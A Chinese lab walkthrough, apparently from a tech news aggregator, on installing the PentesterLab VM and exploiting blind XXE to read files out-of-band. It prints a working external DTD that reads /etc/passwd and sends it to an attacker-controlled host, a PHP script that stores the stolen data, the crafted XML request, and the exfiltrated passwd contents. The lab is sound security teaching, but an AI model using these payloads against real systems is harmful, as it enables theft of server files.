当前位置: 首页 > news >正文

XXE漏洞4-XXE无回显文件读取-PentesterLab靶场搭建

一.PentesterLab靶场搭建(实验环境搭建)

介绍:PentesterLab 是一个全面的漏洞演示平台,但是它是收费的,我们这里只使用它的 xxe 演示案例。

安装 PentesterLab 虚拟机:下载好镜像:
1.打开VMware新建虚拟机,选择典型就行。

然后选择我们的镜像,下一步:

选择linux,和linux3.x不要选64位的。

下一步,然后自己调节文件保存位置:

磁盘空间默认就行:

点击自定义硬件:

我们去调一下内存,把内存调到一个g。

然后我们点击关闭再点击完成即可:

我们打开虚拟机:

输入ifconfig查看ip:192.168.112.18

我们打开浏览器,看到一下页面显示则靶场安装成功。

二.XXE无回显文件读取

实验环境描述:Kali 作为黑客并建立黑客接收和提交数据的 Web 站点,PentesterLab 作为
server 被攻击端
原理:

我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。
1、建立 dtd 外部实体文件:
# cd /var/www/html/
# vim test.dtd #插入以下内容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.112.128/xxe.php?pass=%p1;'>">
%p2;

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内
容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下内容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>

3、创建存储数据的文件
└─# touch pass.txt
4、修改文件权限
└─# chown -R www-data:www-data /var/www/html/*
5、启动 apache2
└─# systemctl start apache2
6、测试 php 文件能够正常写入数据
└─# curl http://192.168.1.53/xxe.php?pass=1
└─# cat pass.txt
1

到这里基本工作就完成了。

下面我们进入靶场点击左上角login,利用bp进行抓包。

我们修改请求:

<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.53/test.dtd">
<foo>&e1;</foo>
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml

放包就行。

我们就成功带外出了etc/passwd的内容:

root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

http://www.lryc.cn/news/591446.html

相关文章:

  • Kotlin密封类
  • 6. 工程化实践类:《Webpack 5 性能优化全指南:从构建速度到输出质量》
  • 如何成为高级前端开发者:系统化成长路径。
  • 自动化测试工具 Selenium 入门指南
  • CTF Crypto基础知识
  • python(one day)——春水碧于天,画船听雨眠。
  • Matplotlib 轴标题与刻度字号调整方法
  • SGMD辛几何模态分解 直接替换Excel运行包含频谱图相关系数图 Matlab语言!
  • 多重共线性Multicollinearity
  • pytorch小记(三十一):深入解析 PyTorch 权重初始化:`xavier_normal_` 与 `constant_`
  • cuda编程笔记(8)--线程束warp
  • imx6ull-系统移植篇9——bootz启动 Linux 内核
  • Java全栈工程师面试实录:从电商支付到AI大模型架构的深度技术挑战
  • 软件项目管理学习笔记
  • S7-1200 模拟量模块全解析:从接线到量程计算
  • FreeRTOS学习笔记——常用函数说明
  • MQTT之CONNECT报文和CONNACK报文
  • Qwen3-8B Dify RAG环境搭建
  • @fullcalendar/vue 日历组件
  • SpringCloud面试笔记
  • 【每日刷题】跳跃游戏
  • Apache DolphinScheduler介绍与部署
  • 分布式光伏发电系统中的“四可”指的是什么?
  • 解读PLM系统软件在制造企业研发管理中的应用
  • 18650锂电池点焊机:新能源制造的精密纽带
  • AR智能巡检:制造业零缺陷安装的“数字监工”
  • Git仓库核心概念与工作流程详解:从入门到精通
  • 【java面试day6】redis缓存-数据淘汰策略
  • 二刷 黑马点评 秒杀优化
  • 全面升级!WizTelemetry 可观测平台 2.0 深度解析:打造云原生时代的智能可观测平台